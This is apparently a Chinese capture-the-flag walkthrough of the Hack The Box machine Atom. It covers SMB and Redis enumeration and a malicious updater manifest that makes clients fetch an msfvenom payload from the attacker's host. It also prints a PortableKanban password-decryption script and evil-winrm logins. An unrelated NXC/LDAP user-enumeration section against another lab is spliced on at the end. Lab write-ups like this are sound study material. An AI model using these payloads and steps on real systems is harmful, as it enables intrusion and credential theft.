HTB-Atom

初始权限获取

端口扫描HTTP (80)、HTTPS (443)、RPC (135)、SMB (445)、WinRM (5985)、Redis (6379) 以及 7680 上的一些端口

SMB 报告是 Windows 10 Pro

尝试 redis-cli -h 10.10.10.237

10.10.10.237:6379> keys * (error) NOAUTH Authentication required.

错误,如果有凭证的话我还得来看看这个

枚举smb

这个目录

smbclient //10.10.10.237/Software_Updates

get UAT_Testing_Procedures.pdf

该文件是一份内部文件,描述了 Heed 的测试程序:

浏览一下应该是软件更新是通过将其放入 SMB 共享的 client 文件夹之一来测试的。

来到80,8080

该页面包含下载 Heed 的链接,Heed 是 QA 文档中提到的笔记应用程序。目前只有 Windows 版本,Mac 和 Linux 都说“即将推出”。我将获取 Windows 版本的副本,下载名称为 heed_setup_v1.0.0.zip

目录爆破一下没有什么有用的

pdf里面的这些信息看起来有用,好像是漏洞利用

Software_Updates漏洞

用 msfvenom 创建了我的有效负载并将其传递给 shasum

┌──(kali㉿kali)-[~/atom] └─$ shasum -a 512 up'date.exe | cut -d " " -f1 | xxd -r -p | base64 VuQnE40qqkhwLYqeXyaAJUisRZsbOkLTaS7mXCihNWEkicSWqwZxX+ihXiX1Secyc4fBVvLcbaIr RhRUhKXRtA==

1j6MyYLtoIB2xb/Bre5ZrvxGQDRwLk1uI9CjqTfsBL5mQlLbdiPxgN+996zUe6ceovJyUpVfnGNJPDDI/jnjvg==

生成sha512

然后touch创建一个文件latest.yml并把以下内容放入其中:

version: 1.2.3 path: http://10.10.14.29/f4T1H.'exe sha512: 1j6MyYLtoIB2xb/Bre5ZrvxGQDRwLk1uI9CjqTfsBL5mQlLbdiPxgN+996zUe6ceovJyUpVfnGNJPDDI/jnjvg== releaseDate: '2021-03-16T11:17:02.627Z'

在端口上启动 http 服务器80

php -S 0.0.0.0:80
最后执行以下操作以便将您的放入latest.yml所有客户端文件夹中。
smbclient -N //10.10.10.237/Software_Updates -c 'put latest.yml client1/latest.yml; put latest.yml client2/latest.yml; put latest.yml client3/latest.yml'

nc监听

提权

在枚举用户目录时,我注意到一个目录,其名称我以前从未听说过。我们在其中找到了一个配置 (.cfg) 文件。

Dir Downloads\PortableKanban

什么是一.cfg 文件? 具有.cfg 扩展名的文件是一种“设置"文件。 它是一种常用的文件类型,用于存储有关计算机程序配置和设置的信息。 大多数类型的CFG 文件都以文本格式存储,不应手动打开,而应使用文本编辑器打开。

这看起来像一个JSON数据,将其保存在本地的文件中并使用jq.

cat configFile.cfg | jq . | head
  • 登录时使用的加密密码RedisServerOdh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb

我们先尝试破解密码,然后再重点关注redis

portablekanban解密密码或者redis获得密码

搜索portablekanban如何解密码

https://www.exploit-db.com/exploits/49409z

#!/usr/bin/python3

import base64 from des import * #pip3 install des

def decode(hash): hash = base64.b64decode(hash.encode('utf-8')) key = DesKey(b'7ly6UznJ') return key.decrypt(hash, initial=b'XuVUm5fR', padding=True).decode('utf-8')

print(decode("Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb"))

或者,我们可以从服务的配置文件中找到密码。

 type *.conf | findstr pass
密码是kidvscat_yes_kidvscat

6379 - Pentesting Redis | HackTricks | HackTricks redis使用

┌──(root💀f4T1H)-[~/hackthebox/atom/privesc] └─> redis-cli -h 10.10.10.237 -a kidvscat_yes_kidvscat Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe. 10.10.10.237:6379> ping PONG 10.10.10.237:6379> info keyspace

db0:keys=4,expires=0,avg_ttl=0 10.10.10.237:6379> select 0 OK 10.10.10.237:6379> keys *

  1. "pk:urn:metadataclass:ffffffff-ffff-ffff-ffff-ffffffffffff"

  2. "pk:ids:User"

  3. "pk:ids:MetaDataClass"

  4. "pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0" 10.10.10.237:6379> get "pk:urn:metadataclass:ffffffff-ffff-ffff-ffff-ffffffffffff"{"Id":"ffffffffffffffffffffffffffffffff","SchemaVersion":"4.2.0.0","SchemaVersionModified":"\/Date(1617420120000-0700)\/","SchemaVersionModifiedBy":"e8e29158d70d44b1a1ba4949d52790a0","SchemaVersionChecked":"\/Date(-621355968000000000)\/","SchemaVersionCheckedBy":"00000000000000000000000000000000","TimeStamp":637530169345346438}"

10.10.10.237:6379> get "pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0" {"Id":"e8e29158d70d44b1a1ba4949d52790a0","Name":"Administrator","Initials":"","Email":"","EncryptedPassword":"Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi","Role":"Admin","Inactive":false,"TimeStamp":637530169606440253}" 10.10.10.237:6379>

  • 我们用于连接到远程服务器并使用我们找到的密码登录的第一个命令。

  • 连接后,ping命令用于测试连接是否仍然有效,或测量延迟。

  • 之后我们查看了关键的数据库,也是select唯一的数据库。

  • 然后keys在里面列出了。

  • 最后阅读密钥的内容。

也可以利用上面的代码解密

evil-winrm -i 10.10.10.237 -u administrator -p 'kidvscat_admin_@123'
### 使用 NXC 工具通过 LDAP 枚举域用户 NXC 是一款功能强大的网络扫描工具,支持多种协议操作,其中包括 LDAP 协议。要使用 NXC 进行 LDAP 用户枚举,可以通过指定域名、用户名和密码来实现。 以下是具体的命令结构以及如何执行的操作: #### 命令格式 ```bash nxc ldap <target-ip> -u <username> -p <password> --domain <domain-name> --users ``` 在此场景下,假设目标 IP 地址为 `10.10.10.10`,并提供给定的凭证 `rose/KxEPkKe6R8su` 和域名称 `sequel.htb`,完整的命令如下所示: ```bash nxc ldap 10.10.10.10 -u rose -p KxEPkKe6R8su --domain sequel.htb --users ``` 此命令会尝试通过 LDAP 连接到目标主机,并利用提供的凭据枚举域中的所有用户账户[^1]。 #### 脚本解释 - `-u`: 指定用于连接的目标用户名。 - `-p`: 提供对应的密码。 - `--domain`: 设置活动目录的域名。 - `--users`: 请求脚本返回当前域内的所有用户列表。 如果成功完成身份验证,则应显示一系列属于该域的有效用户条目;反之,在遇到错误时可以根据提示进一步排查原因(如无效凭据或权限不足等问题)。 #### 注意事项 为了确保能够顺利访问远程服务器上的资源,请确认以下几点: - 验证所提供的用户名 (`rose`) 及其关联密钥是否有效。 - 确认目标机器开放了必要的端口 (通常是 TCP/389 或者 SSL 加密模式下的 TCP/636),以便允许外部客户端发起查询请求。 - 如果防火墙规则阻止了这些通信路径,则可能需要调整配置或者寻找其他可用方法绕过限制条件。 --- ### 示例代码片段展示 Python 中基于 ldap3 的简单实现方式 对于更深入的理解,下面给出一段采用 python 编写的示例程序,它同样实现了上述提到的功能逻辑: ```python from ldap3 import Server, Connection, ALL server = Server('ldap.sequel.htb', get_info=ALL) user_dn = 'CN=rose,CN=Users,DC=sequel,DC=htb' password = 'KxEPkKe6R8su' try: conn = Connection(server, user=user_dn, password=password, auto_bind=True) # Search for all users within the domain. conn.search('dc=sequel,dc=htb', '(objectClass=person)', attributes=['sAMAccountName']) entries = conn.entries if not entries: print("No users found.") else: for entry in entries: print(entry.sAMAccountName.value) except Exception as e: error_code = str(e).split()[0].strip('(').strip(')') if error_code == '52e': print('账号密码不正确') elif error_code == '775': print('账号已锁定,请联系管理员或等待自动解锁') elif error_code == '533': print('账号已禁用') else: print(f'认证失败,请检查账号 {error_code}') ``` 以上脚本展示了如何构建一个基本的 LDAP 查询过程,其中包含了异常处理机制以应对可能出现的不同类型的登录问题。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值